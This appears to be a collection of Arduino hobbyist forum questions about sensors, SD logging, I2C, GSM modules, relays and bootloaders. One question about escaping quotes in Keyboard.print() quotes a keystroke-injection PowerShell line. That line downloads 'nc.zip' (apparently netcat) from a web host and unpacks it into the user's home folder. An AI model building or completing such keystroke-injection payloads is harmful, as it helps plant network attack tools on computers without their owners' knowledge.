texts:
Our project involves using an arduino compatible microcontroller to control a mouse on a computer with an accelerometer and flex sensor. We had narrowed down to the ATTiny85 due to its small size.

We found a particular tutorial on the Adafruit tutorial  website, using the Adafruit Pro Trinket using the same ATTiny85.

Is there a reason to believe that this won't work?

Also, does anyone have suggestions as to which board to use apart from Micro as it isn't too available here?


texts: How to conect multiple output pin from sensors to a single digital pin on a arduino

texts:
Hello i have several power management IC that have an active low indicator for a fault, it would be a waste to dedicate a single digital pin for each of them. So i thought of  to interface them to a single digital pin. I do not need to know which of them has a fault, i just need to know that there is a fault.

How do i safely do this? and as a follow up question if the fault voltage is 5v and the arduino pins only take 3.3v how do i shift it down with minimal components. can i just add a resistor in series?


texts:
My idea is to record the acceleration/altitude of a small model rocket launch using these sensors and record all the data onto a microSD card which I'll retrieve afterwards. I'd like to be able to plot all of the data to analyze the performance of the rocket. This data will also help compare the experimental results to the theoretical ones.

Accelerometer

OpenLog/SD Card

(Was only allowed two links so couldn't include barometer)

I have a few questions to make sure that my logic is sound when trying to design this circuit;

1.) Since the OpenLog contains the ATmega328 microcontroller I was going to use the Arduino to write the instructions to this which will initialize the two sensors and start logging data. Is this the correct way to do this? From what I could tell the other sensors did not contain any EEPROM/Flash so there was no way to store any code on there.

2.) If I have multiple sensors running at the same time is this going to cause a data conflict when writing to the SD card? Would it be possible to save two different .txt files, one for each sensor?

Thanks


texts: Uno R3's a4 and a5 not working after installing itead SD Shield 3.0

texts: I'm working on a data logging project and would like to use all six analog inputs on my Arduino Uno R3.  I've been able to get everything working, including writing to the SD card.  However, with the shield installed I'm getting junk readings from a4 and a5.  They work fine without the shield.


texts: Does upload using `ICSP`overwrite the bootloader?

texts:
If I compile a sketch then upload using ICSP does it overwrite the bootloader?

I am using Arduino program and Arduino Uno as ICSP.


texts: How to protect my arduino, while hotplugging its power supply and other related electronics

texts:
The unsolved: when I connect power and signal lines to my Arduino - while power is on - I potentially kill it. I have fried 2 so far.

Situation:

I have build an DMX-controlled lighting fixture, which consists of the fixture and a Controller Box.
The fixture houses 2 Arduino's (5V), 2 steppers, 2 drives (36V), 2 fans (24V) and some temperature sensors.
The controller box houses 1 Arduino, amongst other electronics.

The controller box receives DMX and does calculations an send controls via I2C to the fixture.

There is a 8 pole connector between fixture and controller box.

1 - GND
2 - 5v
3 - 24v
4 - 36v
5 - CLK (i2c)
6 - SDA (i2c)
7 - signal line (used as charge pump)
8 - reset

All wires are shielded(but the shield is only connected AFTER the initial pins make contact)

When the power on the controller box is ON and i connect the light Fixture with the 8-pole connector my arduino goes to heaven.

My own idea's so far:

Voltage spike, because the connection wires is grounded after it connects the pins.
Some strange flyback? via the Arduinos in the light fixture? I connected everything straight to the 5v pins, not using the regulator.
no idea

Any help on a way to search for the most likely cause of the problem would be greatly appreciated.


texts: Firebase.failed() returns 0 after Firebase.begin(), but returns 1 while reading or writing from/to firebase from ESP8266

texts: The program was running fine, a few days ago, but now it just wouldn't read/write to the database. I'm running on ArduinoJson 5.13.5 and using FirebaseArduino library. I have set all the rules to true, would love to know how to debug this error. Also Firebase.error() does not give any output at all!


texts:
Im using an arduino uno and a sim 900, the simcard is setup and working as I can make a phone call to it and it rings.

The sim 900 is powered via the power jack and the uno is currently powered using USB.

I am trying to print out incoming text messages however with serial monitor open I only see "Initialising...".

    #include <SoftwareSerial.h>

//Create software serial object to communicate with SIM900
SoftwareSerial mySerial(7, 8); //SIM900 Tx & Rx is connected to Arduino #7 & #8

void setup()
{
  //Begin serial communication with Arduino and Arduino IDE (Serial Monitor)
  Serial.begin(9600);

  //Begin serial communication with Arduino and SIM900
  mySerial.begin(9600);

  Serial.println("Initializing...");
  delay(1000);

  mySerial.println("AT"); //Handshaking with SIM900
  updateSerial();

  mySerial.println("AT+CMGF=1"); // Configuring TEXT mode
  updateSerial();
  mySerial.println("AT+CNMI=1,2,0,0,0"); // Decides how newly arrived SMS messages should be handled
  updateSerial();
}

void loop()
{
  updateSerial();
}

void updateSerial()
{
  delay(500);
  while (Serial.available())
  {
    mySerial.write(Serial.read());//Forward what Serial received to Software Serial Port
  }
  while(mySerial.available())
  {
    Serial.write(mySerial.read());//Forward what Software Serial received to Serial Port
  }
}

I cant for the life of me figure out why its not printing anything else out? Can anyone give me any guidance or what to check?


texts: How many LED displays can be hooked to one Arduino board?

texts:
I am new to Arduino development. I need to connect multiple led displays(between 20 and 100), such as this one to an Arduino board. The led displays will be pretty far out from each other.

How can this be achieved? How can i uniquely identify the LCD displays? At this point i need some 101 orientation.


texts:
I have arduino UNO hooked up with wtv020-sd-16p and it works fine, playing audio files - speaker is connected right to the WTV020's pin #4 and #5. However, volume is rather low. So I have ordered LM386 amplifier module. I have wired it's IN pin with WTV020's pin #2 AUDIO-L. But no sound comes out of speaker. I can hear only some scratches from the speaker while arduino is running.

LM386 is pretty easy, only VCC, IN and GND pins, so there is nothing much to screw up. I am wondering, what could be the problem ?

Thanks for any help or hints in advance.

EDIT: Only to note, when WTV020 is playing sound, speaker goes completely mute. When it doesn't play sound, little scratchy sounds can be heard from speaker. Maybe it could help with analysis ?


texts: Serial.available is giving data even input data is not coming

texts:
Dear friends I have written a code to identify the caller and send a reply SMS to them using sim 800L and pro mini. My program is to identifying the caller number but continuously sending the SMS in an infinite loop. I am not getting what is the reason, kindly help me, thanks in advance. Code is attached
#include <SoftwareSerial.h>
SoftwareSerial Serial1(4,3);
String a;
String CellNumtemp;
String CellNum;

void setup()
{
  Serial.begin(9600);
  Serial1.begin(9600);
  Serial1.println("AT");
  delay(1000);
  Serial1.println("AT+CSMP=17,167,0,0");
  delay(1000);
  Serial1.println("AT+CLIP=1");
  delay(1000);
   }

void loop(){
   if (Serial1.available() > 0){
   String a = Serial1.readString();
   String  CellNumtemp = a.substring(a.indexOf("+91"));
    CellNum = CellNumtemp.substring(0,13);
     Serial1.println("ATH");
     delay(500);
     Serial.println(CellNum);
     delay(500);
    if (a.indexOf("+91") >= 0){
        sendSMS();
       }
     }
  CellNum = "\0";
}

void sendSMS(){  // Function that sends SMS
     Serial1.println("AT+CMGF=1\r");
     delay(1000);
     Serial1.print("AT+CMGS=");
     Serial1.print("\"");
     Serial1.print(CellNum);
     Serial1.print("\"");
     Serial1.println("\r"); // to send SMS
     delay(1000);
     Serial1.println("Happy to see your call. I am good");
      delay(1000);
     Serial1.println((char)26);
     delay(1000);
     Serial1.println();
     delay(5000);
     Serial1.flush();
     delay(2000);
    }


texts:
I have built this MOSFET circuit, which is supposed to run 2 DC fans using an Arduino Uno.

I am trying to get the two DC fans running with four settings: OFF, LOW, MED and HIGH. I have been having issues with the MED option, because when its option is selected by the rotary switch (5 V pulse detected by the analog pin A2) the speed of the fan is not the constant 75% duty cycle (191) as defined on line 75 in the code below:

int motorPin1 = 3;
int motorPin2 = 9;
int DCfanSpeed = 0;
int voltageZero = 0;
int voltageOne = 1;
int voltageTwo = 2;
int voltageThree = 3;

void setup() {
  pinMode(motorPin1, OUTPUT);
  pinMode(motorPin2, OUTPUT);
  digitalWrite(voltageZero, INPUT_PULLUP);
  digitalWrite(voltageOne, INPUT_PULLUP);
  digitalWrite(voltageTwo, INPUT_PULLUP);
  digitalWrite(voltageThree, INPUT_PULLUP);
  Serial.begin(9600);
}

void loop() {
  int voltageReadingZero = analogRead(voltageZero); // OFF SWITCH
  int voltsZero = voltageReadingZero / 204.6;
  if (voltsZero == 5) {
    delay(300);
    if (voltsZero == 5) DCfanSpeed = 0;
    // else DCfanSpeed = DCfanSpeed;
    while (voltsZero == 5) {
      analogWrite(motorPin1, DCfanSpeed);
      analogWrite(motorPin2, DCfanSpeed);
      voltageReadingZero = analogRead(voltageZero);
      voltsZero = voltageReadingZero / 204.6;
    }
  }
  int voltageReadingOne = analogRead(voltageOne); // LOW SWITCH
  int voltsOne = voltageReadingOne / 204.6;
  if (voltsOne == 5) {
    delay(300);
    if (voltsOne == 5) DCfanSpeed = 128;
    //else DCfanSpeed = DCfanSpeed;
    while (voltsOne == 5) {
      analogWrite(motorPin1, DCfanSpeed);
      analogWrite(motorPin2, DCfanSpeed);
      voltageReadingOne = analogRead(voltageOne);
      voltsOne = voltageReadingOne / 204.6;
    }
  }
  int voltageReadingTwo = analogRead(voltageTwo); //  MED SWITCH
  int voltsTwo = voltageReadingTwo / 204.6;
  if (voltsTwo == 5) {
    delay(300);
    if (voltsTwo == 5) DCfanSpeed = 191;
    //else DCfanSpeed = DCfanSpeed;
    while (voltsTwo == 5) {
      analogWrite(motorPin1, DCfanSpeed);
      analogWrite(motorPin2, DCfanSpeed);
      voltageReadingTwo = analogRead(voltageTwo);
      voltsTwo = voltageReadingTwo / 204.6;
    }
  }
  int voltageReadingThree = analogRead(voltageThree);  //  HIGH SWITCH
  int voltsThree = voltageReadingThree / 204.6;
  if (voltsThree == 5) {
    delay(300);
    if (voltsThree == 5) DCfanSpeed = 255;
    //else DCfanSpeed = DCfanSpeed;
    while (voltsThree == 5) {
      analogWrite(motorPin1, DCfanSpeed);
      analogWrite(motorPin2, DCfanSpeed);
      voltageReadingThree = analogRead(voltageThree);
      voltsThree = voltageReadingThree / 204.6;
    }
  }
}

Excuse the poor formatting but the basic rundown of the medium option is such that the voltage across the analog pin 2 is measured and converted into volts and if it is 5 Volts (rotary turned to the medium position) then it enters a while loop where the voltage is monitored such that if there is any change then there must be a speed setting change. This is the only option for which I get this pulsating speed on the fans instead of smooth and continuos operation.

Any ideas about how I could improve this? I have taken away one fan to see if one was faulty but this didn't work.


texts: GPS Short distance calculations, accuracy limitations for 1-30 meter distance

texts:
I am a total beginner in the field of GPS, and this is actually my first post.

But, I have been looking into some of your questions, and especially the ones for short distance calculations, and time calculation used to measure traveled distance.

I want to measure distances from one coordinate to another with distances varying from typically 1-30 meters with an accuracy of 0.5 percent. Is it possible, and how can it be done? Or what is possible?

Thanks in advance

Update:

I want to create a small unit to measure short distances as mentioned above. So to be more specific, it will have a digital display and measure the distance from a coordinate 1. (0,0,0), to coordinate 2. for example 10 meters away. I will choose the location for the coordinates pressing a button on the unit, and the distance will show on the screen in meters and centimeters.

So for the accuracy, I actually believe that 2 percent accuracy is enough in the range between 1-30 m.

I am open for all types of measurement methods.


texts:
In what situation would the Vin pin be attached to any of the I/O pins?

Also, in what situation would the Vin pin be attached to an external circuit?


texts: Arduino should check the same way like a USB keyboard or a USB mouse, if turned on notebook is connected

texts: I have a USB HUB and have connected to it a USB keyboard and a USB mouse. As long I have not connected a Notebook to it those devices don't turn on. 5V is always turned on! So I could charge my phone. How do they know there is no notebook connected? My Arduino is always on. I want to emulate this with an Arduino. Without the need of extra software on a notebook, the Arduino should be able to tell if a notebook is connected to the USB Hub or not. Please help.


texts: I just recently bought an Arduimu v3. Rather annoyingly they did not supply an FTDI cable. I'm going for an FTDI cable where the I/O pins are configured to operate at 5v. I assume this is the right but I don't want to fry this board. Is this cable OK?


texts:
I use the Wire Library and need to have multi-master setting. I see multi-master examples, where the masters have their own ID's -- which make sense.

Now I have just connected three devices on the bus with the same ID (for example 0x05) and they can communicate! Every node can listen to all traffic, which is not common but this was exactly what I want.

The question is: Will I have trouble in the future? Is my setup something like "multi-slave"?


texts: VisualMicro Can't compile in debug ('Serial' was not declared in this scope) for attiny84a

texts:
I was working on a project build initialy from the Arduino IDE to program an attiny84a (without a bootloader) using the board from https://github.com/damellis/attiny

I got an atmel-ice recently and I was trying to debug the arduino sketch using it.

I installed AtmelStudio (because I know it has an GUI debugger) and found VisualMicro that should help me to compile arduino sketch.
Unfortunatly as soon as a set the project to debug I got a compilation error :

'Serial' was not declared in this scope

(I don't have this error in Release mode).

My code doesn't use any serial (because I don't have any pin left), so this was wierd. I still tried to add the SoftwareSerial.h include (just in case) without success.

So I created an empty (I mean with only an empty setup() and loop() methods) and it throw the same error.

I tried to setup different versions of arduino IDE into VisualMicro (1.6.13, 1.8.1, 1.8.5 and 1.9 build 34) without success.

Then after a couple of hours I found the .cpp source generated by VisualMicro and it try to use the member "Serial" for some debugging reason.

I would like an easy way to integrate with arduino (all those library and easy to install library) and to be able to debug as well, what can I look for or do?

Thank


texts:
I'm connect arduino to my PC through serial monitor. Very common situation:

Serial.begin(9600);
delay(100);
Serial.print("Hello, World!");

But I always get an ¤ello, World!. How can I get the first symbol straight? I've tried on both unix & windows, mega & uno. I've also tried println, but with no happiness


texts:
I want to implement three effects which display every 5 seconds. I know that using delay() is not a good method so I want to use milis(). Duration times of the effects are different from each other. How can I assure "non-freezing" or displaying 2 or 3 effects at the same time? Should I measure the time of display of every effect and on its base adjust intervals or is there another solution? What do you think?

EDIT:

Here is my code:

void loop() {
   unsigned long currentMillis = millis();

   if(currentMillis - previousMillis >= interval) {
     previousMillis = currentMillis;
     i++;

    switch (i){
      case 1:
        meteorRain(0xff,0xff,0xff,10, 64, true, 30); // efekt spadającej gwiazdy
        Serial.print("meteorrain: ");
        Serial.print(previousMillis);
        Serial.print("\n");
        break;

      case 2:
         colorWipe(0x90,0x90,0x90, 50);
         colorWipe(0x00,0x00,0x00, 50);
         Serial.print("colorwipe: ");
        Serial.print(previousMillis);
        Serial.print("\n");
         break;

      case 3:
         MyEffect();
         Serial.print("My effect: ");
        Serial.print(previousMillis);
        Serial.print("\n");
         break;
    }
    if (i>3) i=0;
    }
}

I've ommited the code of effects (it doesn't matter, I think).


texts:
I am working with relays and I noticed that connecting the trigger pin to ground (or a digital pin set to LOW) is not the same as having the trigger connected to anything.  For the digital output pins, how is LOW different than no connection?  Is there actually a current flowing into the LOW pin, or is there a tiny current flowing into the relay?

Is Ground and LOW the same voltage?


texts: How can I identify GPS sattelites in TinyGPS++?

texts:
I can see about 15 satellites (about 10 GPS + 5 Glonass) in u-center, but I see only about 10 satellites using TinyGPS++. I suspect that TinyGPS++ can see GPS only. I see lines containing $GNRMC $GNVTG $GNGGA $GPGSV $GNGLL $GNVTG $GLGSV in the input, so there are information from both constellation. But how can I check which constellations TinyGPS++ takes into account for the output:

  Sats=10 Nums=1 3 8 10 11 14 20 22 24 27 28 31 32 36 40  Elevation=46
  17 45 31 69 59 1 43 5 24 9 1 60 36 32  Azimuth=304 255 215 66 267 137
  77 263 28 184 316 140 89 181 150  SNR=12 0 0 17 8 20 0 11 0 11 0 0 21
  0 0


texts: What do these pins mean? Where should I plug them in?

texts:
I am trying to collect data from the arduino into a SD card for the first time, so I bought the adapter at my local electronics/arduino shop. However, I could not find an explanation as to what each pin does, and the other adapters that I have seen online have different pins, so I am not sure what to do with the pins (except for the obvious ones, GND and VCC)

The order of pins is as follows:
CD, DO, GND, SCK, VCC, DI, CS.

Could you help me figure out what they mean and where to plug them into my arduino?


texts: What are the current limits on an Arduino Micro?

texts:
Just to make sure I don't set my board on fire, is there any information out there about the maximum current per pin/pin group on an Arduino Micro?

This page states I can get 40mA per pin, but are there limits on group of pins?

As stated here, there are pin groups which should not exceed 100mA. But could not find anything about that in the ATmega32u4 datasheet, or any other Arduino Micro related websites.


texts: Why does my ESP8266 making an HTTP request to an MDNS responder keep getting redirected to my ISP's search engine?

texts:
I have two ESP8266's trying to talk to each other, a 'host' and a 'client', if you will. I have the ESP8266mDNS.h responder running on the host at esp8266wifi.local. On sending an http GET request to  http://esp8266wifi.local/, I have the webserver send a simple "Success" message.

When I use my computer to access the host in a web browser, it responds just fine, "Success". But when I use the client ESP8266 to send the GET request, it appears to be redirected to my ISP's search engine. The raw html reads:

<meta http-equiv="refresh" content="0;url=http://search.frontier.com/search/?q=http://esp8266wifi.local/&t=0"/>

It appears to respond correctly when I connect to the IP address, http://192.168.0.10/ using ESP8266WebServer.h but when I use the mDNS request I get redirected. Is there any way to work around this?

EDIT:

I tested on my phone's internet browser and my Wii U console and I also get the same redirect to my ISP's search engine.


texts: Arduino UNO code ignores variables selectively

texts:
This is the first code I wrote for my UNO R3 just to feel out the functions and I've already got some jankiness. Throughout this description I am referring to the first two if statements one inside the other one.

I'm trying to increment i every time the signal is activated and then j is used to create a small space of time where the button being pressed will not increment i. My problem is my if statement involving j seem to be totally ignored. I've tried multiple configurations of the if statement structure to no avail.

Here is where things get interesting. So upon setting up the serial connection back to my PC to debug this irritating problem and printing out the actual value of j (to see why it was triggering my if statement prematurely) it magically fixed the problem. It's like until the program literally acknowledges j's value in the print statement it doesn't exist but if it does it works. Any ideas on this?

Note: the serial monitor in both picture depicts consecutive iterations with the signal activated the entire time.

This picture shows the serial monitor after running with the button pressed but the print statement commented out

This picture shows the serial monitor at a space where the button was pressed and held (same time frame as image 1) but in this one it increments i to 3 and then continues incrementing j. How is this happening?


texts: What is the protocol that uses ROS with arduino?

texts: I'm trying to know what is the protocol that uses ROS and arduino, Is it Firmata?


texts: Powering 4 servos with an external source

texts: I am powering 4 tower pro sg90's and I NEED them to run at maximum torque for at least a few minutes, so 4.8volts. I am wondering how many AA batteries I will need to power all 4 servos at maximum torque for a short amount of time (like 5minutes type of thing). The servos are basically lifting different 3d printed objects.


texts: R24 Incompatibility with TimerOne on Nano

texts: I am attempting to build a sketch on a Nano which receives a regular pulsed signal from an NRF24L01+ board and uses the time-interval between pulses to generate a regular pulsed output generated by an interrupt based timer (TimerOne). Problem is that as soon as I attempt to attach the interrupt callback on TimerOne, the sketch freezes. I suspect some sort of incompatibility between the two libraries. I am attempting to search through the RF24 library for any use of the ATM328P Timer1 functions, but am not finding anything significant. Are there any known incompatibilities between the NRF24L01+ board, RF24 library and the TimerOne library?


texts:
I'm doing a project that includes an Arduino Uno and custom hardware made by me. Everything is working perfectly independently, and I'm trying to implement a way for them (the Arduino and my hardware) to work together. In order to achieve that, I am using the Wire protocol (Arduino side) and I2C (custom hardware side). From now I can send data from my hardware to my Arduino in a master-slave relation, and I have no problem with that. Please take a look at my Arduino code for better understanding:

void setup(void) {
  Wire.begin(7);
  Wire.onReceive(receiveEvent);
}

void receiveEvent(int howMany) {
  int x = Wire.read(); // receive byte as an integer
  Serial.print(x);
  if (x==0)
    state = 0;
}

So far so good. Now I want to send data from the Arduino to my custom hardware full duple, and for that I am adding this code:

void frame(void){
  Wire.write('x');
  Wire.write('\r');
}

void loop() {
  if (state == 0){
    frame();
    state = 1;
  }
}

In order to receive the 'x' char in my custom hardware I have switched the I2C protocol bit from Write to Read using I2C_FORMAT_7_BIT_ADDRESS(SlaveAddress, _address, I2C_WRITE); to I2C_FORMAT_7_BIT_ADDRESS(SlaveAddress, _address, I2C_READ); in my custom hardware code.

I don't know why, I am not receiving the data from the Arduino. Am I missing any configuration on the Arduino side?


texts: How do I use ATTiny pin 5 (RESET) as a digital output?

texts:
I am using an Arduino Uno as ISP (Using the standard ArduinoISP sketch) to program an ATTiny13A through the Arduino IDE. (I also have a USBtinyISP 2.0 and a USBASP 2.0, but can't reliably get either to program this chip with any sketch.)

I want to use all six I/O pins on the ATTiny to each control 1 LED. Pins 0 through 4 work fine, but since pin 5 is the RESET pin, it doesn't want to work as an output normally.

I have read from many sources that I can disable the reset pin by changing the fuse bits, and that once I do so I will not be able to program the chip any more. Every source I've seen has given this warning, but has then proceeded to NOT say how to accomplish the 1-time-write.

Assume I've got my sketch exactly 100% as I want it, don't have a high-voltage programmer, and am fine with only being able to program the ATTiny once. How can I program the chip and set the appropriate fuse bits with what I have access to?


texts: NodeMCU second HARDWARE serial TX as a debug port

texts:
I'm using a NodeMCU board to send commands to my home electricity switching box - using RS485 communication.

For that, I've connected MAX485 TTL-to-RS485 converter module to my TX and RX pins.

Currently, I can see the serial commands (that my program sends via RS485) also on my Serial monitor (in Arduino IDE), because the CH341 on the NodeMCU is bridged to the serial pins of it.

My problem is that if I want to send debug strings to my Serial monitor (like 'time was updated using NTP') - the RS485 bus will get them also.

I found some documentation about second TX pin available that can be used for debug messages, but I have 2 questions:

Will it be a HARDWARE port? I don't want to load another library and deal with software Serial ports.
Is there a way to get its output via the USB cable connected between the NodeMCU and my computer? Or will I have to connect another USB converter externally to that port to get its output into computer?

Many thanks!


texts: I want to make a HUD Helmet similar to the one shown in Ironman movies. Please suggest me some links and parts needed for this type of project


texts:
I need to pass a 16-bit long address (for an external EEPROM) to a function (twi_writeTo) in a buffer.
I am currently doing this

byte buffer[2];
buffer[0] = (byte)(eeaddress >> 8);
buffer[1] = (byte)(eeaddress & 0xFF);

where eeaddress is an unsigned int with the address.

I then do

int8_t ret = twi_writeTo(eeprom_i2c_addr, buffer, 2, 1);

Before I tried

int8_t ret = twi_writeTo(eeprom_i2c_addr, (uint8_t*)&eeaddress, 2, 1);

but that returns garbage. Probably the byte order is swapped. Is that the case?
And if so, is there a better way than copying the two bytes to a buffer?


texts: How much can I recurse? How much can I recurse? How much ca!@#QFSD@$RFW

texts: The Arduino Uno board has limited RAM which means it has a limited call stack available. Sometimes, recursion is the only quick option to implement a certain algorithm. So, given that the call stack is severely limited, what would be a way to find out that given a certain program running on the board, exactly how many recursive calls can you afford before there is a stack overflow (and bad things happen)?


texts: communication between two arduinos using ENC28J60?

texts:
How can i connect and send data between two arduinos using a ENC28J60 ethernet adapters on both of them. Is there any guides or example codes for me to take a look from or any library which i can use to achieve this communication?
I have one arduino connected to an ultrasound sensor and the other to an relay module so that one arduino measures the distance between certain objects and send the distance to the other arduino which then processes it to check if it is within a certain limit if not then turn on the relay. I could have used two esp32 with one in AP mode but the range is not enough and serial communication is not possible as the cables are fragile and the distance is too large and also i couldnt find another way of sending the data.
Open to any suggestions even changing the method of communication? or using of any other ethernet modules?


texts: digital locks I don’t know how to used the dip switch to set a password . I want to add more cases not just two and use a dip switch

texts:
enter code here conditionals.
  //first define states with obvious names and different values
 #define START 0
 #define RED 1
 #define BLUE 2
 //assign names to possible input conditions and give them unique values
 #define GO_BLUE 4
 #define GO_RED 5
 //assign input pins
 #define BLUE_SWITCH 2
 #define RED_SWITCH 3
 //assign output pins
 #define RED_PIN 8
 #define BLUE_PIN 9
 //create state variable and initialize it to START state
int state = START;
  //create input variable and initialize to represent an undefined input
 int input = 0;
void setup(){
 pinMode(BLUE_SWITCH, INPUT);
 pinMode(RED_SWITCH, INPUT);
 pinMode(RED_PIN, OUTPUT);
 pinMode(BLUE_PIN, OUTPUT);
 digitalWrite(BLUE_PIN, LOW); //turn blue led off
 digitalWrite(RED_PIN, LOW); //turn red led off
 }
}
void loop(){
  //read inputs
if(digitalRead(BLUE_SWITCH)){
  input = GO_BLUE;
delay(100); //for debouncing
 else if(digitalRead(RED_SWITCH)){
 input = GO_RED;
delay(100); //for debouncing }
else
input = 0;
  //generate appropriate output and evaluate state transitions
switch(state){
 case START:
 digitalWrite(BLUE_PIN,LOW); // turn blue LED off
 digitalWrite(RED_PIN,LOW); //turn red LED off
  /* NOTE: you could check inputs here instead of earlier input block, but
 don't do it in both places */
 //evaluate input condition to determine next state...
switch(input){
 case GO_BLUE: //this transition can be reduced
 state = START; //stay in START state
 case GO_RED:
 state = RED; //go to RED state
 default:
 state = START; //stay in START if no inputs detected
 }
 /* NOTE: input conditions can be evaluated using if/then statements instead
 of a switch arrangement */
break; //jump out of current switch statement
 case RED:
 digitalWrite(BLUE_PIN,LOW); // turn blue LED off
 digitalWrite(RED_PIN,HIGH); //turn red LED on
 switch(input){
 case GO_BLUE: //go to BLUE state
 state = BLUE;
 case GO_RED: //this transition can be reduced
 state = RED; //stay in RED state
 default:
 state = RED; //stay in RED if no inputs detected
 }
break;
 case BLUE:
 digitalWrite(BLUE_PIN,HIGH); // turn blue LED on
 digitalWrite(RED_PIN,LOW); //turn red LED off
 switch(input){
 case GO_BLUE: //this transition can be reduced
 state = BLUE; //stay in BLUE state
 case GO_RED: // go to RED state
 state = RED;
 default:
 state = BLUE; //stay in BLUE if no inputs detected
 }
break;
} //end switch(state) } //end loop


texts: Why does a function inside void set up is repeating after some minutes

texts:
I am trying to time sync my arduino hardware to NTP server. I have a `setSyncProvider(getNtpTime)´ function to do it and called inside the void setup. I have another function (mainFunction) inside the main loop, that calls every minute. I have added a function to display time inside this mainFunction so that time will update every minutes.  Code works fine for first five minutes. Then it calls the getNtpTime again even though it is not inside the loop. Why is it happening?

time_t getNtpTime()
{
  while (Udp.parsePacket() > 0) ; // discard any previously received packets
  Serial.println("Transmit NTP Request");
  sendNTPpacket(timeServer);
  uint32_t beginWait = millis();
  while (millis() - beginWait < 1500) {
    int size = Udp.parsePacket();
    if (size >= NTP_PACKET_SIZE) {
      Serial.println("Receive NTP Response");
      Udp.read(packetBuffer, NTP_PACKET_SIZE);  // read packet into the buffer
      unsigned long secsSince1900;
      // convert four bytes starting at location 40 to a long integer
      secsSince1900 =  (unsigned long)packetBuffer[40] << 24;
      secsSince1900 |= (unsigned long)packetBuffer[41] << 16;
      secsSince1900 |= (unsigned long)packetBuffer[42] << 8;
      secsSince1900 |= (unsigned long)packetBuffer[43];
      return secsSince1900 - 2208988800UL + timeZone * SECS_PER_HOUR;
    }
  }
  Serial.println("No NTP Response :-(");
  return 0; // return 0 if unable to get the time
}


texts: How to connect an Elegoo Nano to a Raspberry Pi and program it?

texts:
I own an several Elegoo Nanos and a Raspberry Pi. I would like to connect an Elegoo Nano to the Pi and upload nanpy onto the board and control it's GPIO pins.

I have plugged the nano into the Pi and it is not recognised by the pi. I believe it is something to do with the drivers required for the nano to work. I feel this is similar to this post Arduino Nano not visible in Serial Ports (Mac OS) as I have tried and failed at connecting it to my Mac.

Any help at getting the Elegoo Nano read by the Arduino IDE on my Raspberry Pi so I can program onto it would be greatly appreciated.


texts: Control DC motor in both directions with two relays

texts:
I am using an Arduino and two relays to control 12V DC motor.
I need to rotate the motor in both directions.
For the first trials it worked fine. Finally one next switching fried my Arduino.
I think there is something wrong in the schematic.
I believe that Arduino was killed by reverse voltage spike produced by motor.
I already know that I need a diode across the motor. However, I have two directions here.
So, what is the proper schematic for my task?


texts: Printing multiple double qoutes in print statement

texts:
I'm trying to print multiple quotes in a Keyboard.print() function but when i try to escape the character with \ at  $output =\"$HOME\Misc\nc.zip\"" and the string does not get recognized by the ide. Usually when the ide knows it's a string it highlights the text in blue, it does not do that for $output and after $output. How can I print the whole string including all the double quotes within the string?

Keyboard.print("\"cd $HOME\""; $folder=mkdir \"Misc\""; $folder; $url=\"https://test.org/cc.zip\""; $output =\"$HOME\Misc\nc.zip\""; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\Misc\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\Misc\").CopyHere($item)}"):


texts: Why does this array have stored values in it even though I have not put any values in it?

texts:
void alarm() {
  char keypressed4;
  char keypressed5;
  char keypressed6;
  char keypressed7;
  char disarmcode1[5];
  Serial.println("hi2");
  Serial.println(disarmcode1);

The array gets declared here and I print the values in the empty array. In the serial monitor I read this:

hi2
"c

I don't know why or how these values get put into the array. I have code later on that puts values into the array, but from where that point in the code is, no values should be in the array

Also I have an LCD screen hooked up too, and it prints a value of 0 at (2, 0).


texts:
I've found this code below, but I can't figure out how it works. Can someone explain to me the flow of the program?

#include <LiquidCrystal.h>
LiquidCrystal lcd(2, 3, 10, 7, 5, 4);
int mem=0;
void setup() {
    pinMode (12,OUTPUT);
    pinMode(13,OUTPUT);
    // initialize the LED pin as an output:

    // initialize serial communications:
    Serial.begin(9600);
    lcd.begin(16, 2);
}

void loop() {

    lcd.setCursor(12,1);
    int se25 = analogRead(A4);
    int se50 = analogRead(A3);
    int se75 = analogRead(A5);
    int se100 = analogRead(A2);
    if(se100>=1000){lcd.print("100%   ");mem=100; }
    else if(se75>=1000){lcd.print("75%   ");mem=75; }
    else if(se50>=1000){lcd.print("50%   ");mem=50; }
    else if(se25>=1000){lcd.print("25%  ");mem=25; }
    else{lcd.print("emty");mem=0;}
    if(se100<1000&&se75<1000&&se50<1000&&se25<1000){
        digitalWrite(13,LOW);
        lcd.setCursor(12,1);
        lcd.print("emty");
    }

    if(digitalRead(6)==HIGH){digitalWrite(13,LOW);}

    if(digitalRead(6)==LOW&&mem>0)
    {// read the value of the potentiometer:
        int tempw = 0;
        //digitalWrite(12,LOW);
        int tempa = analogRead(A1);
        delay(20);
        int tempb = analogRead(A1);
        delay(20);
        int tempc = analogRead(A1);
        delay(20);
        int tempd = analogRead(A1);
        delay(20);
        int tempe = analogRead(A1);
        delay(20);
        int tempf = analogRead(A1);
        delay(20);

        int avg = ((tempa + tempb + tempc + tempd + tempe + tempf ) / 6);

        int temp = avg;
        // map it to the range of the analog out:
        temp = map(temp, 0, 1023, 0, 4900);
        float tempx = temp * (0.1);
        // change the analog out value:
        int tempy=analogRead(A0);
        tempy = map(tempy, 0, 1023, 0, 150);
        // print the results to the serial monitor:
        lcd.setCursor(0,0);
        lcd.print("act T=" );
        lcd.print(tempx);
        lcd.print("'C  " );
        lcd.setCursor(0,1);
        lcd.print("set T=");

        lcd.print(tempy);
        // Serial.println("'C ");
        lcd.print("'C  ");

        if(tempy<=tempx){digitalWrite(13,LOW);}
        if(tempy>tempx){digitalWrite(13,HIGH);}

        delay(200);
    }

}


texts: Relationship between avrdude's "programmer" and bootloaders

texts:
I'm trying to understand the "programmer-id" concept, as specified in -c avrdude's option.

avrdude asks me to choose a "programmer-id" among many it knows of.
Let's say (just as an example) I have a Arduino 2560 to which I connect via USB, and I want to program it using the bootloader.  Then, in this scenario,
is one programmer-id and just one supposed to work?

More in general, one has

1) some particular board (MCU, -p in avrdude)

2) some particular programming method/connection (JTAG, ISP, development board, USB/serial,  etc)

3) (if using bootloader) some particular bootloader code in Flash.

How are these things related with the programmer selection? I guess that some (most?) programmers-ids are specific to some programmer connection/method (AND probably with some hardware family?), and they have nothing to do with the bootloader.  What is the programmer to use for a standard Arduino with bootloader, connected via USB? What more can be said?

